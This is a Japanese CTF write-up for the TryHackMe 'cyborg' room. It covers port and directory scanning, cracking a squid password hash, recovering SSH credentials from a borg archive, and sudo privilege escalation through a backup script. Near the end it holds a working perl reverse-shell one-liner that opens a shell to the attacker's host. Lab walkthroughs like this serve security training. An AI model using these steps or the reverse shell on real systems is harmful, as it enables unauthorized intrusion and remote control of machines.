🌐

TryHackMe: [cyborg] write up

2023/02/23に公開

ROOM[cyborg]

room info

url: https://tryhackme.com/room/cyborgt8
os: linux

0. 準備

export RIP=攻撃先のIPをenvに出しとく
export LIP=VPN内での自分のIPをenvに出しとく

1. nmap

nmap -sC -sV -oA cyborg -Pn $RIP

結果

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

2. dirb

gobuster dir -u http://$RIP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
/.hta                 (Status: 403) [Size: 276]
/.htaccess            (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/admin                (Status: 301) [Size: 310]
/etc                  (Status: 301) [Size: 308]
/index.html           (Status: 200) [Size: 11321]
/server-status        (Status: 403) [Size: 276]

3. walkthrough http

downloadからarchive.tarをDownload

borg mount -o uid=$UID,umask=077 ./final_archive ./fam

してみるも、パスワードが必要っぽい

http://$RIP/etc/squid/passwd

でcrackできそうなhashを発見
johnでcrackして

squidward        (music_archive)

を得る、これをmount時入力で無事music_archiveを復元

homeに

alex:S3cretP@s3

を発見

4. ユーザーシェル

ssh $RIP -l alex
# パスワード S3cretP@s3 を入力でssh成功

5. Privileges Escalation

LinEnum.shを実行( sudo -l で十分だけど )

User alex may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh

なので /etc/mp3backups/backup.sh をうまくやればsudo取れそう

コードを読むと-cで引数渡してそれを実行してくれるっぽいので

/etc/mp3backups/backup.sh -c /bin/bash
perl -e 'use Socket;$i="攻撃マシンのIP";$p=攻撃マシンのReverseshellを待ってるPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

(攻撃マシン側では nv -lvnp $LPORT しておく)

Discussion